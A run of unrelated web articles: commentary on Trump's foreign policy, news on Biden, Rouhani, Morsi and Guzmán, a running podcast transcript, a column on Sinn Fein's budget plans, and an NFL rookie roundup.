It is also worth remembering that Trump has yet to face an actual crisis or construct new, coherent policies to replace ones he thinks were deficient under his predecessors. Brookings Institution scholar Michael O’Hanlon calls for “a bit more patience, and skepticism, even as I have breathed a huge sigh of relief based on the choices of the top national security team and the responsible crisis management to date, and the repair of relations with China.” Trump is momentarily reactive (as he was in responding to Syria’s chemical attack), but lacks sustained interest to demonstrate U.S. staying power. O’Hanlon thinks an “incomplete” may be the fairest assessment — “simply an incomplete grade because they really don’t have any new policies yet.”
Trump has put forth a defense budget that falls short of expectations. A 3 percent increase doesn’t amount to a serious effort to rebuild the military after years of neglect.
On trade, he sealed our departure from the Trans-Pacific Partnership. If you believe him, we came within a whisker of pulling out of NAFTA. He spends his time threatening trade wars (against China, Mexico, Canada), not understanding that his bluster can create lasting ill-will and, ultimately, undermine his credibility when he backs down (as he always does).
And let’s not forget his cringe-worthy congratulatory call to Turkey’s president in the wake of an allegedly rigged election or his unprecedented cheering for the National Front (!) in France. These actions coupled with unqualified support for human rights abusers (Egypt) and silence on totalitarian suppression of civil liberties (China) make him so far the worst human rights president in history. His attacks on the American media give cover to regimes that imprison, threaten and even kill journalists. His failed Muslim travel ban alienated Muslim allies and damaged America’s moral stature.
Author and military scholar Tom Nichols thinks Republicans cheering Trump are deluded. “There isn’t a policy, as far as I can tell,” he said via email. “Remember that phone call to Taiwan? Apparently that’s over with, and now [Chinese President Xi Jinping] is a great guy.” He concluded, “Republicans are desperately trying to impose intellectual coherence on a grab bag of statements that are all over the map at this point.”
Trump deserves genuine credit for picking (after Flynn) McMaster, Defense Secretary Jim Mattis and U.N. Ambassador Nikki Haley (although he now reportedly wants her to clear her speeches — suggesting she’s gotten too much praise for the narcissistic president to tolerate). If they only had a different commander in chief, we might have an effective foreign policy.Chinese Vice President Xi Jinping, center, speaks with U.S. Vice President Joe Biden and U.S. Secretary of State Hillary Clinton, at the State Department in Washington, D.C. at a luncheon in honor of the Chinese Vice President on Feb. 14. (Jim Watson/AFP/Getty Images)
America holds at least one key economic advantage over China, Vice President Biden said Thursday, declaring that because China’s authoritarian government represses its own citizens, they don’t think freely or innovate.
The comments came just two weeks after Biden hosted China’s presumptive next leader during Xi Jinping’s high-profile trip through the United States. During that visit, both sides stressed the potential for better relations and economic cooperation.
In his speech on Thursday, Biden asked students at Iowa State University, “Why have they not become [one of] the most innovative countries in the world? Why is there a need to steal our intellectual property? Why is there a need to have a business hand over its trade secrets to have access to a market of a billion, three hundred million people? Because they’re not innovating.”
Noting that China and similar countries produce many engineers and scientists but few innovators, Biden said, “It’s impossible to think different in a country where you can’t speak freely. It’s impossible to think different when you have to worry what you put on the Internet will either be confiscated or you will be arrested. It’s impossible to think different where orthodoxy reigns. That’s why we remain the most innovative country in the world.”
During Xi’s visit last month, Biden also criticized China, citing a long list of grievances against its government, including human rights violations, theft of intellectual property, China’s currency valuation and practices not in line with fair trade. But for the most part the visit was notable for the effort on both sides to find common ground and stress how the economies of the United States and China are intimately intertwined rather than competitive.
Much was made during the visit of U.S. food exports to China, with Agriculture Secretary Tom Vilsack joining Xi in Iowa for a symposium to talk soybeans and pork, and traveling with him to an Iowa farm, a visit that included photo-ops of China’s heir apparent in the seat of a John Deere tractor.
Biden also accompanied Xi to Los Angeles, using the city to highlight U.S.-China collaborations in the entertainment industry and commerce.
It isn’t the first time Biden’s off-hand comments on China have attracted attention. During his initial meeting with Xi, in a trip last year to China, Biden appeared to take a relatively untroubled view of China’s one-child policy.
In that case, he was speaking to students at Sichuan University in Chengdu, when he suggested that the one-child policy has eroded financial security for elderly Chinese.
“You have no safety net. Your policy has been one which I fully understand — I’m not second-guessing — of one child per family,” Biden said. “The result being that you’re in a position where one wage earner will be taking care of four retired people. Not sustainable.”
A few days later, the vice president’s office tried to correct the remarks, saying the Obama administration “strongly opposes all aspects of China’s coercive birth limitation policies, including forced abortion and sterilization.”Reaching a nuclear deal with P5+1 should be a matter of “months, not years” the Iranian president Hassan Rouhani said in an interview with the Washington Post, indicating that he is ready to come to terms within a three-month timetable.
Iran wants to move forward with negotiations very quickly and find a resolution on nuclear issues as soon as possible, the president told Post contributor David Ignatius. Rouhani reiterated that Iran’s supreme leader, Ali Khamenei, fully empowered him to “finalize the nuclear talks.”
According to Rouhani, Iran is ready to offer unprecedented transparency of its nuclear facilities and may allow the International Atomic Energy Agency to assess their “possible military dimensions” to prove its nuclear program is peaceful and not aimed at building a bomb.
The Iranian president declared his readiness to immediately engage in result-oriented talks during his speech at the UN General Assembly the day prior.
While the West consistently suspects the military nature of Iran’s nuclear program, Rouhani stressed that “nuclear weapons and other weapons of mass destruction have no place in Iran's security and defense doctrine, and contradict our fundamental religious and ethical convictions.”
Iran and the P5+1 (which refers to the five members of the Security Council plus Germany) have held numerous rounds of negotiations beginning in 2006 surrounding Tehran’s nuclear energy program.
Their latest round of negotiations wrapped up in April in Almaty, Kazakhstan. An earlier round of negotiations was held in the Kazakh city in February.
The latest proposal included a call for Iran to halt all 20 per cent enrichment activities and for Tehran to transfer part of its stockpile of 20 per cent enriched uranium to a third country under IAEA supervision. It also urged Iran to suspend all operations at its Fordow facility.
Tehran has always rejected such claims, which have resulted in crippling UN-imposed economic sanctions, maintaining that it is a member of the Non-Proliferation Treaty (NPT) and the International Atomic Energy Agency (IAEA), and therefore has the inalienable right to develop nuclear energy for peaceful purposes.
On Tuesday, after widespread anticipation of a possible meeting, US President Barack Obama failed to greet Iran’s President Rouhani at the United Nations in New York. In his speech to the UN, Obama challenged Iran to take concrete steps toward resolving Iran's dispute with the West.The posters themselves are visually stunning, with bold graphics that are a trademark of Invisible Creature's work. Since its start in 2006, the sibling duo of Don and Ryan Clark have created striking visuals for big companies like Target, T-Mobile and Live Nation on top of a wide-ranging portfolio of CD packages and music posters. Heck, they even have a smattering of toys they've designed.
The Clark brothers have family ties to NASA as their grandfather was an illustrator and graphic designer at NASA for more than 30 years. With this trio of 24 x 36 in. posters (also available in 10 x 14 in. sizes), major achievements of the space agency are highlighted as destinations of splendor. Whether its the Voyager taking advantage of a rare alignment of planets to capture sights of all four or human exploration of Mars, this set certainly has us considering suiting up. For those of you wanting to remain on Earth, the JPL will make the artwork available as downloadable posters soon, but for now, you can purchase high-quality prints from the source link down below.Batman kicks off Return of The Monster Men and Nightwing backs it up… but note Marvel places two titles in the top ten, Civil War II and Amazing Spider-Man – and even Seven To Eternity gets a look-in…
But over two months into DC Rebirth, DC still places 7 out of 10.
This is the Top Ten Bleeding Cool Bestseller List, as compiled by a number of comic stores from their sales on Wednesday and Thursday. It measures what are known as the “Wednesday Warriors”, those who can’t wait to the weekend to get this week’s comics. We salute you, and the keenness you bring to your passion.
Thanks to the following retailers
Who had this to say
Marvel shipped their tentpole book, the latest issue of their big event of 2017… and it came in ninth place in our store, outselling Aquaman by three copies and Cyborg by five copies. No other Marvel showed any significant sales activity. Readers continue to drop Marvel titles every week, complaining about both the stories and the art (and often, about the disconnect between the two).
Strong interest in 1970s and 1980s Batman books.
Rick Remender and another book about unresolved parental issues has |
training
really hard and was living in Colorado at the same time,
kind of going through some things. So kind of talk about
the lifestyle of that. For me, it’s one of those things I
would never want to do again because I’m older now, but I
look back and think that was kind of fun to do when I was
in my early to mid-twenties.
Blake Boldon: Yeah, for me that was kind of the end of my twenties. But
I’d some good times where like I was working hard, in
school, or working in decent jobs or coaching collegiately,
doing some stuff, and I was still seeing progress, you
know, running 3:28 for 8K and 3:59 for the mile in the span
of a week, and 7:57 for fourth in the US Indoors. Some
really good performances that were leading somewhere, and
finally like the light bulb’s going off, this is working.
I signed a small contract for Saucony but then I had a full-
time job coaching at Iowa State. Cory was really good to
me, let me balance things pretty well, but I just worked a
lot. I ended up missing the Olympic trials. It was a
devastating frustration because I’d run at every US
championship going forward, indoors and outdoors. I’d
qualified for three years since ’04 basically, since ’05.
So just boom, boom, boom, things going so well so
consistently and then miss the trials, so then I quit the
job and moved to Colorado, and basically didn’t have any
prospects of a job, no plans, but just I’d saved some money
while I was at Iowa State.
Jeff Gaudette: So basically you just said, I’m going to give it all to
see what I can do.
Blake Boldon: Yeah, exactly. I moved to Colorado and just put all my
chips on the table, said I’m going to do this, and if it
works, great, because I think it could be really good. I
thought about wanting it, even that time, like 2006, I kind
of hit the ceiling like ’03 and ’04, ’03 was my first US
Championship. Between that time and 2009, the US changed.
Jeff Gaudette: Right.
Blake Boldon: 3:42 for a 1500 was a top 25 kind of mark. If you ran
13:45 for a 5K, you’d be a top 10 to top 20 guy at least
[C] time at championship. Now it’s just, to be a top 10
kind of person, you have to be 13:15, it’s just a different
world.
Jeff Gaudette: It is.
Blake Boldon: So I decided, I’m going to put it all in, I still think to
this day I could have probably run 13:30, how much faster
than that I don’t know. But when I was in Colorado, I
didn’t have all the money, I didn’t have a job, I didn’t
have much money at all. So as it develops that there ended
up being three of us living in a two bedroom apartment, me
in one room and another guy in another room and then one
guy just living in the living room.
By that point, I think we might have had some furniture,
but when I first moved in the only furniture I had in the
whole apartment were some folding lawn chairs that I’d got
for free somewhere online. And then I could move across the
country pretty easily because I just had my lawn chairs and
then some cardboard boxes in which had been some books that
I brought with my when I moved. So then [inaudible 52:18]
my books onto some crates or onto the floor and used empty
boxes with a blanket over them as a table, and put the
computer on the boxes, eat, and use my computer, and run
three times a day. That was normal to me.
Then sleep on an air mattress, I didn’t buy a bed, I
couldn’t afford a bet. I was just getting by and basically
I was reading two or three books a week and just training.
No TV, nothing aside from Internet to connect with anyone
aside from when I went running and that was when I would
come, after I got settled and had been there two or three
months, that’s when I started flying down to Charlotte. So
I was balancing time between sleeping on your couch and
sleeping on my air mattress, and training.
Like I said, but that was also when I knew I needed
surgery, so I decided to go all in. I didn’t have health
insurance, and I was kind of like living hand to mouth by
running. And then also during that time Saucony did me the
favor of discontinuing my contract so it was [inaudible
53:22].
And yeah, so it was a tough time financially but it was one
of those times that now, when I talk with college kids, I’d
probably have been better suited if I’d have done something
like that [inaudible 53:35]. I think it’s more normal for
people to do that at 22, 23. But having worked full time
and kind of started a professional career, I stepped away
from that because I wanted to see how far I could take it.
I didn’t want to end thinking that I didn’t maximize, or I
didn’t know how far I could go.
I found out [inaudible 53:59] pretty good, I know I’m not
that great to be honest. Just good, I was good enough to be
in the races with the big guys and if they overlooked the
race or if they trained through, I could beat them. But it
would have to be a good day for me, just to be in the mix
with the top, the Olympic level guys.
Jeff Gaudette: Right.
Blake Boldon: But I wouldn’t trade it. So now when I say I guess this is
the advice I have for young people, but I guess for anybody
of all ages if they haven’t done it, to take some time away
from-. I think in our society we only define ourselves by
our profession. You meet someone, oh, I’m a lawyer, oh,
hello I’m a doctor, or I’m in sales. That’s who you become,
but that’s just what you do, that’s not really who you are.
So running, I got to know myself because there wasn’t the
distraction of the profession, there wasn’t the distraction
of the TV, there wasn’t the distraction of enough money to
go eat at restaurants. I’m going to wake up today I’m going
to go run, and aside from that, I’m going to do what
interests me. I’m going to listen to the music I like, I’m
going to read the books I want, or I’m going to go for a
hike and spend time.
It’s very simple living but I feel like as a [product], I
feel like I got to know myself in a way I’d never have
otherwise been exposed to.
Jeff Gaudette: That’s cool, I’m glad you shared that story. Like I said,
it doesn’t really involve training wise or anything but I
think it’s interesting to hear about how elite athletes
live and how they go about making those sacrifices, and
doing those things, so I appreciate you sharing the story.
Blake Boldon: Yeah. It was good. I don’t know if I’d like to do it
again. Of course, it would be a lot better story if I’d
actually turned the corner and run, gone to the Olympics,
or been [inaudible 55:52]
Jeff Gaudette: Right.
Blake Boldon: Really by that point in my career, I don’t know. Like you
said, I could have made a jump, but not something that
would have been tremendous. Genetically, I just don’t know
if I have that talent to run 13:10. I just don’t think
that’s in my body.
Jeff Gaudette: But I think there’s a good lesson there, for a lot of
people. Genetically, they may never qualify for Boston, or
they’re never going to be Olympic trials qualifiers,
they’re never going to be anything. But for you, from what
I’m hearing it was great for you to take that jump and to
try, because at least you know that you pushed your limits
and at least you know you gave it a shot.
For a lot of people I think that translates over. Yeah.
They may never have qualified for Boston, but at least they
gave it a shot and they did their best and they got
everything they could out of themselves. In running, that’s
probably the greatest part about the sport of running, and
I know you probably understand this is that it doesn’t
matter if you’re running four minutes, sub four minutes for
the mile, or if you’re running eight minutes for the mile.
When you set a new PR and you physically do something that
you never thought you could do before, it’s an amazing
experience and it’s the same thing across the spectrum, no
matter what your time reference is.
Blake Boldon: Right. And it doesn’t matter at the level you do it, but I
think there’s still value in the process. Not only like,
you’re extending your life expectancy and being healthy. I
mean that’s never why I did it but I feel like I learned a
lot just about myself. It’s 20 degrees outside and raining
[sideways] somehow. Weather that you didn’t even know could
exist, and [inaudible 57:28] 18 mile long run today.
My whole running career I only ran on a treadmill once and
that was just for a physiological tests. I did some black
tape threshold testing in Florida. If you do that, you
learn a little bit more about what you’re willing to do,
how you learn more about the human condition of suffering,
and there’s some value to that.
I think that’s the same for whether you’re like elite, or
if you’re just someone who wants to do something to be
proud of, just to have an accomplishment. You have your
kids, and you have your job, and you have your spouse. That
18 miles of misery may be the only time you get that leap
for yourself, so there’s some value to it no matter what.
Jeff Gaudette: Right. Very good points. So Blake, I want to thank you for
coming on the show and for sharing your wisdom and your
experiences. It’s been great and I really appreciate it. We
look forward to hearing more from you on the site and
getting to know all the athletes, and again, thanks for
coming on the show.
Blake Boldon: Yeah, Jeff. It’s been my pleasure, man. We should do it
more often.
Jeff Gaudette: All right, thanks.
Blake Boldon: All right buddy, I’ll talk to you soon.A new trial for Egypt's ousted ex-president opened Sunday in Cairo, with prosecutors accusing him of espionage and leaking confidential information to Qatar while in office.
The hearing was swiftly adjourned and a new date set for Feb. 28 after the court ruled that the defence should consult with Mohammed Morsi and the other 10 defendants in the case. Prosecutors say the other defendants are members of Morsi's Muslim Brotherhood group, which propelled him to office in 2012 but was later barred after the army overthrew him a year later.
"I am the legitimate president … and this trial is a farce," said a defiant and sometimes smiling Morsi from the defendant's cage at the hearing, presided over by Judge Mohammed Shereen Fahmy at the Cairo Criminal Court. The other defendants denied the charges, holding up four fingers in a gesture that has come to symbolize the Brotherhood's cause.
Prosecutors allege that Morsi conspired with the other defendants to leak secret state documents, including military and security files, to Qatar, which had strongly supported Morsi's presidency and became a bitter rival to his military successors. The case hinges on allegations the defendants conspired to hand deliver documents via national airline EgyptAir.
A former EgyptAir cabin crew member is also in the dock.
I am the legitimate president … and this trial is a farce. - Mohammed Morsi
Morsi, overthrown in July 2013 following mass protests demanding his resignation, does not recognize the court, and insists Egypt's current leadership came to power in a coup d'etat and is thus illegitimate.
Since then the government, now led by President Abdel-Fattah el-Sissi, the former head of the army, has launched a sweeping crackdown on the Brotherhood and other political opponents.
Morsi faces three other current trials on charges that include organizing jailbreaks, conspiring with foreign powers and inciting the killing of protesters — for which he could face the death penalty. He was Egypt's first democratically elected leader, but his turbulent one-year rule left the country sharply divided.
Sissi's government has branded the Brotherhood a terrorist organization and has waged a fierce crackdown on it since Morsi's ouster.But that soon might change. On Sunday night, two days after his capture in Mexico, the Mexican authorities began formal extradition proceedings to send him to the United States to face drug charges. His escape from prison last summer humiliated the Mexican authorities and raised questions about whether his incarceration there could be guaranteed.
Assuming that Mr. Guzmán either does not challenge extradition or challenges it and loses, Mexico’s move sets up the prospect of one of the biggest federal trials in the United States in recent years. Mr. Guzmán would join a rogue’s gallery of drug and mob figures who have stood trial in an American courtroom. Among them, Al Capone, convicted of tax evasion in Chicago in 1931; Gen. Manuel Antonio Noriega, the former dictator of Panama, convicted on drug and racketeering charges in Miami in 1992; and James Bulger, known as Whitey, convicted of murder and racketeering in Boston in 2013.
For Mexico to agree to extradite Mr. Guzmán, the United States would most likely have to agree not to prosecute him on capital charges that could subject him to the death penalty. Mexico does not have a death penalty and, as a matter of policy, does not extradite defendants who could face it in another country.
With charges brought in numerous jurisdictions in the United States, another key question is where Mr. Guzmán would be tried. One possibility, officials said, would be to try him in the Eastern District of New York in Brooklyn — not only because he was indicted there, but also because Attorney General Loretta E. Lynch was the United States attorney in Brooklyn when the charges were brought.Sinn Fein is on an upward trajectory. Its success in the local elections showed how hard work at grass-roots level can pay off. Its European successes were more about kicking the Government while also ramming home the idea that there was an alternative to the austerity years.
Sinn Fein is on an upward trajectory. Its success in the local elections showed how hard work at grass-roots level can pay off. Its European successes were more about kicking the Government while also ramming home the idea that there was an alternative to the austerity years.
Not everything Sinn Fein says is naive nonsense – but too much doesn't add up
But the economics behind the Sinn Fein plan look at best shaky and at worst misleading. Could Sinn Fein's proposals have delivered Ireland through the fiscal and economic crisis with less pain for most people? The truth is we may never get to find out.
Unless the Government implodes in the coming months (which can't be ruled out either), it is just one more tough Budget away from practically balancing the Exchequer books.
Sinn Fein may well find itself in power with another party after the next general election. By the time that happens, the gap between what the Government spends and takes in will no longer be €150m per week.
The country's economic challenges will not be over, but the emergency may well be. We can only judge the party on what it said it would have done if it had been in power. The actual policies it might implement in government in the future, could look very different.
The party's alternative Budget for 2014 was direct and largely, but not totally, costed by the Department of Finance. That doesn't mean it was workable. The party said it would manage to make a Budget adjustment of €2.4bn while delivering on a goody bag of measures including: abolishing the property tax; giving 86,000 carers €325 in their respite grant; taking 296,000 minimum wage earners out of the tax net; extending the fuel allowance; promising every unemployed young person access to a job or training; and tackling child hunger. It is also opposed to introducing water charges.
How was all this going to be funded? Sinn Fein had a problem here. How could it make massive savings in government expenditure while decrying vicious government cutbacks? The answer was to go after anyone and anything that looks like it earns more than €100,000 per year. Hit their wages, their pensions, their assets, their holiday homes, their inheritance, and their tax bill. It sounds fair on paper to someone earning the average industrial wage and struggling to make ends meet.
But the party ignores the possible consequences of these actions. It doesn't appear to grasp the implications for foreign direct investment, employment creation, investment and the fact that people who really do have lots of money can move it, and themselves, abroad very easily.
Its most high-profile initiative, which it originally estimated could raise €800m, was a wealth tax. Sinn Fein wanted it applied to individuals with net assets (after debt is taken into account) of over €1m. It would exclude agricultural land and business assets. But everything else would be up for grabs.
People who really have a lot of money are prepared to move it. Deposits held in Irish banks help fund loans to businesses. A modest €200,000 tax put on tax exiles in 2010 saw just 24 of them pay it. That fell to 14 in 2012.
But the document remains on shaky ground elsewhere, too. It wants a new 48pc tax rate for those earning over €100,000 per year, despite figures showing that a very significant percentage of the total income tax take comes from that group already.
It found itself on shaky ground when it promised to deliver €258m in savings on branded drugs by buying more generics.
This has already been set in train by the Government and is proving very difficult.
It promised to save a massive €205.9m by improving productivity, including "strategic purchasing". What does that mean?
It was going to slash consultants' pay by 15pc to 30pc. Hospital consultants are an easy mark on paper, but it could lead to a brain drain for decent specialists with those pay cuts.
It promised to save €76m on state spending on professional fees and general department spending.
That all looks fine, but slash what you pay in professional fees and you may find the companies you are paying have to let people go. Very often, the lower and middle paid employees in firms like these are the ones who get squeezed out.
Public servants earning over €100,000 would get a further pay cut. This time it would be 15pc, while those on over €150,000 would take a 30pc hit. This looks like a kind of neo-socialism aimed at trimming everybody – regardless of experience, qualification or level of responsibility – back towards a magical figure of €100,000. This is the figure that Sinn Fein seems to believe separates the elite from everybody else.
Some of what the party says seems naive or fails to take account of how an open economy competing in an international labour market, might suffer as a result.
But some measures could be easily implemented. These include higher tax on setting up discretionary trusts, or wealth trusts, increasing the betting tax or hiking taxes on gifts or inheritance.
The electorate may well be getting closer to giving Sinn Fein a chance to prove that its alternative way could work.
That may prove to be a learning experience for everybody.
Irish IndependentNFL Nation assesses the breakout first-year players on each team.
AFC EAST
This one is easy: The Bills had a potential NFL defensive rookie of the year candidate in CB Ronald Darby until the second-round pick from Florida State had a few hiccups in coverage over the final month of the season. Kansas City's Marcus Peters is the overwhelming favorite to land that award, but Darby was still among the NFL's best rookies this season and he'll enter 2016 as an undisputed starter in a Bills defense that is expected to undergo changes up front. -- Mike Rodak
Miami didn't get a ton of production from its rookie class, but first-round pick DeVante Parker's late-season push was impressive. Parker replaced injured starter Rishard Matthews and had 22 of his catches for 445 yards in his last six games. He finished the season with a 19.4 yards-per-catch average and three touchdowns. -- James Walker
The Patriots received significant contributions from the rookie class. Guards Shaq Mason (66 percent of the snaps) and Tre' Jackson (54.2 percent) -- both fourth-round picks -- were part of a three-man rotation. Meanwhile, long snapper Joe Cardona (fifth round, Navy) handled his job well, undrafted center David Andrews started the first 10 games of the season and helped bail the team out when a string of injuries hit, and undrafted Brandon King was second on the team with 12 special teams tackles. But we'll give the nod to Malcom Brown, who played 46.5 percent of the defensive snaps as the top option in a committee to replace departed Vince Wilfork at defensive tackle. -- Mike Reiss
A no-brainer: Defensive end Leonard Williams was the Jets' best rookie. He was an important contributor from Day 1, and wound up playing 77 percent of the defensive snaps. Williams, drafted sixth overall, was terrific against the run. He needs to improve as an interior pass rusher, as he finished with only three sacks. -- Rich Cimini
AFC NORTH
Running back Buck Allen was the most productive rookie for the Ravens, and it wasn't even close. His ability to turn short catches into big plays carried the Baltimore offense at times. Over the last seven games (after Justin Forsett broke his arm), the fourth-round pick totaled 627 yards and scored three touchdowns. Only Arizona's David Johnson had more yards among rookies during that span. The Ravens hope to get more out of this draft class next season, when wide receiver Breshad Perriman returns from injury and tight end Maxx Williams adds more bulk in the offseason. -- Jamison Hensley
It's hard to name one specific player since the Bengals didn't give many of their rookies extended playing time, as expected. That's the function of a deep veteran roster. That said, tight end Tyler Kroft had the most productive year of the Bengals' first-year players. He caught 11 passes (on 14 targets) for 129 yards and a touchdown. He filled in admirably down the stretch when touchdown-magnet Tyler Eifert missed three of the last five games with head and neck injuries. Offensive tackles Cedric Ogbuehi and Jake Fisher also proved to be competent backups. Ogbuehi could be Cincinnati's starting right tackle in 2016. -- Coley Harvey
DT Danny Shelton did not make a large impact immediately, but he did improve as the season went on. The 12th overall pick from 2015 had to learn how to play in the NFL, and as he developed, he started making more of an impact. Shelton's work ethic bodes well for his future, though he does need to work on his conditioning. -- Pat McManamon
Linebacker Bud Dupree didn't have much competition here -- he was the only rookie playing significant snaps for Pittsburgh. Dupree earned a starting role late in the year and was disruptive in two playoff games with a tackle for a loss in each. He didn't record a sack in his final 10 NFL games and admitted to hitting a rookie wall physically. He finished with a respectable 26 tackles and four sacks despite sharing reps with Arthur Moats as part of a four-man outside linebacker rotation. The Steelers are grooming Dupree to be their next great linebacker off the edge, and he seems eager to oblige despite a few bumps along the way. -- Jeremy Fowler
AFC SOUTH
Although first-round pick Kevin Johnson experienced some growing pains, the rookie cornerback got a lot of important experience and showed he will be a valuable asset for the franchise. The Texans had one of their more productive rookie classes as a group this season. Second-round LB Benardrick McKinney became a starter by the end of the season and third-round WR Jaelen Strong showed he could contribute. -- Tania Ganguli
Receiver Phillip Dorsett drew all the headlines because he was the Colts' first-round pick, but nose tackle David Parry was the most consistent player of the team's entire rookie class. Parry, who was selected in the fifth round, entrenched himself on the defensive line possibly for years to come by starting every game last season. He finished with 31 tackles and a sack. -- Mike Wells
It's a hard choice between G A.J. Cann, whom the team said didn't allow a sack, and WR/PR Rashad Greene, but I'll go with Greene. He turned two games around for the Jaguars with big punt returns -- a 63-yarder that set up the Jaguars' go-ahead touchdown against Tennessee and a 73-yarder for a TD to break open a close game against Indianapolis. Greene played in only nine games because he missed seven on IR/designated to return with ligament damage in his thumb. He averaged 16.7 yards on 18 punt returns, which would have led the league by more than 4 yards per return if he had enough returns to qualify. -- Mike DiRocco
Quarterback Marcus Mariota was easily the Titans' best rookie in 2015. His performance in 12 games established that Tennessee has an answer at the hardest position to fill. Now they need to surround him with talent, protect him and create a scheme that can work. -- Paul Kuharsky
AFC WEST
If left tackle Ty Sambrailo, who suffered a season-ending shoulder injury in Week 3, had not ended up on injured reserve he was headed to the best season among the team's rookies. That said, guard Max Garcia and outside linebacker Shane Ray each played significant time on a playoff team. Ray played 31 percent of the snaps in the regular season for the league's No. 1 defense and finished with four sacks and 20 tackles, behind two Pro Bowl selections at the position in Von Miller and DeMarcus Ware. But in the end, just because of his workload and responsibility, Garcia probably gets the nod, as he played 48.9 percent of the team's offensive snaps. The Broncos will be looking for him to be a full-time starter next season if he can iron out some inconsistencies in pass protection. -- Jeff Legwold
Marcus Peters was picked on by opposing quarterbacks more than any other cornerback in the league, and he allowed some touchdowns. But the first-round draft pick made his share of plays, snagging eight interceptions in the regular season and another in the playoffs. He helped transform a defense that struggled to force turnovers in 2014 to one that was fourth in the NFL in takeaways. -- Adam Teicher
No. 4 overall pick Amari Cooper did not disappoint. His 72 catches, 1,070 receiving yards and led NFL rookies, while his six touchdown catches tied for tops in the league among first-year players. Yes, it was the most productive season by a rookie receiver in franchise history, a list that includes the likes of Hall of Famer Fred Biletnikoff and Cliff Branch. And Cooper became the first Raiders WR with a 1,000-yard receiving season since Randy Moss in 2005. -- Paul Gutierrez
Former MLS goalkeeper Josh Lambo, an undrafted rookie out of Texas A&M, finished second among rookie kickers in 2015 with 106 points. Lambo was 26-of-32 (81.3 percent) on field goals for the Chargers, with a long of 54 yards. That kick would have sealed a win over the Steelers in Week 6 had San Diego's defense kept Le'Veon Bell out of the end zone. Lambo made seven of his eight field goals in the fourth quarter. His one issue? He missed four extra points from the new 33-yard distance. -- Eric D. Williams
NFC EAST
Randy Gregory (second-rounder) and La'el Collins (undrafted) both arrived in Dallas under the microscope after falling in the draft due to off-the-field issues. But it was first-rounder Byron Jones who had the best season of the bunch. Quietly, by season's end, an argument could be made that Jones was the team's best defensive back even if he did not have an interception. He showed incredible versatility by playing four different spots: outside corner, slot corner, dime and free safety. The Cowboys seemed to settle on where he will be best in the future by playing him at safety. -- Todd Archer
The only two draft picks who made any real contribution were tackle Ereck Flowers and safety Landon Collins, who started 15 and 16 games, respectively. The problem is, they both had major struggles, since each was asked to do more than he was ready to do. Flowers isn't an NFL-caliber pass protector yet, but he had to play left tackle because the Giants had no one else. Collins is a liability in coverage, but he had to play some free safety because they had no one else. Flowers is strong in the run game and Collins is good against the run, but their rookie seasons had more downs than ups. So I'll give this one to undrafted tight end Will Tye, who took over as the starter in November due to injury problems at that position and ended up fourth on the team in both catches (42) and receiving yards (464). -- Dan Graziano
There are two arguments for third-round linebacker Jordan Hicks being the best player the Eagles drafted in 2015. The first is what Hicks did in the five games he started after injuries forced the Eagles to play him: a sack, two interceptions and three fumble recoveries. The second is what happened to the defense after Hicks was placed on injured reserve with a torn pectoral tendon. The Eagles lost their next three games, giving up 45 points to Tampa Bay and 45 more to Detroit, and missed the playoffs. First-round pick Nelson Agholor was not a factor. Second rounder Eric Rowe showed promise late in the season at cornerback. But Hicks made an impact. -- Phil Sheridan
The Redskins produced one of their best rookie classes in some time, with multiple players contributing. The fifth overall pick, Brandon Scherff, was a Day 1 starter, though he was switched from tackle (where he struggled) to guard (where he improved). Second-rounder Preston Smith finished strong with eight sacks and his development bodes well for the future, but he was inconsistent. So, perhaps, the best overall rookie -- in part because of where he was picked and what he did -- was Jamison Crowder. The fourth-round pick produced 59 catches and two touchdowns as the No. 1 slot receiver, giving the Redskins passing game a boost when DeSean Jackson missed most of seven games because of injuries. -- John Keim
NFC NORTH
Several Bears' rookies made meaningful contributions in 2015, but running back Jeremy Langford had the most overall impact with 816 all-purpose yards and seven touchdowns. Langford is one of six rookies in franchise history with at least six rushing touchdowns and one receiving touchdown. His 83-yard touchdown catch in St. Louis on Nov. 15 is the fourth longest reception by a RB in Bears history. Langford also joined Hall of Famers Walter Payton and Gale Sayers as the only players in team history with 100 receiving yards, one rushing touchdown and one receiving touchdown in a single game. Not bad for a fourth-round pick. -- Jeff Dickerson
This is a tough one, because RB Ameer Abdullah had a pretty good year. But based on draft position and expectations, CB Quandre Diggs was the best rookie the Lions had this season. Diggs came into the spring and took No. 1 reps almost immediately. He was worked into the lineup during the season opener and took over the nickel role after a season-ending injury to Josh Wilson. He finished the season with 35 tackles, a forced fumble and a fumble recovery. He also solidified himself as a player who should be the team's nickel corner in 2016 and potentially beyond. There is improvement that needs to happen, but overall, Diggs was a gem of a pick at selection No. 200. -- Michael Rothstein
General manager Ted Thompson hit on his first-round pick for the second year in a row. Much like safety Ha Ha Clinton-Dix did last season, cornerback Damarious Randall became a starter early in his rookie year and looks like a long-term starter. Randall showed the kind of ball skills that led the Packers to take him at No. 30 overall, as he tied for the team lead with three interceptions. Yes, he blew the coverage on Cardinals receiver Larry Fitzgerald on the first play of overtime in Saturday's playoff loss, but it shouldn't change the fact that he was the Packers' best rookie this season. -- Rob Demovsky
The Vikings got impressive contributions across their rookie class -- linebacker Eric Kendricks, defensive end Danielle Hunter and wide receiver Stefon Diggs all made the Pro Football Writers of America's All-Rookie team -- but Kendricks sticks out from the group for his ability to jump into the Vikings' middle linebacker position after the bye week. He led the team in tackles, posted four sacks and became a solid every-down player in a defense that asks a lot of its linebackers. -- Ben Goessling
NFC SOUTH
Although first-round draft pick Vic Beasley Jr. set a franchise rookie record with a team-leading four sacks, expectations were much higher for the pass-rusher who dealt with a torn labrum in his right shoulder. That's why we'll give the top rookie nod to defensive lineman Grady Jarrett, the fifth-round draft pick who played college ball with Beasley at Clemson. Jarrett made the most of his 255 snaps, posting 24 tackles, four tackles for losses, a sack and two quarterback hits. And Jarrett showed versatility in playing multiple positions along the D-line. -- Vaughn McClure
It's pretty close between linebacker Shaq Thompson and wide receiver Devin Funchess, although neither had what you would call a huge year. The edge goes to Funchess, who caught 31 passes for 473 yards and five touchdowns. He didn't replace 2014 first-round pick Kelvin Benjamin, who suffered a season-ending knee injury in training camp. But he showed glimpses of the potential in this offense, and the team is looking forward to seeing what he can do next season when he plays with Benjamin. -- David Newton
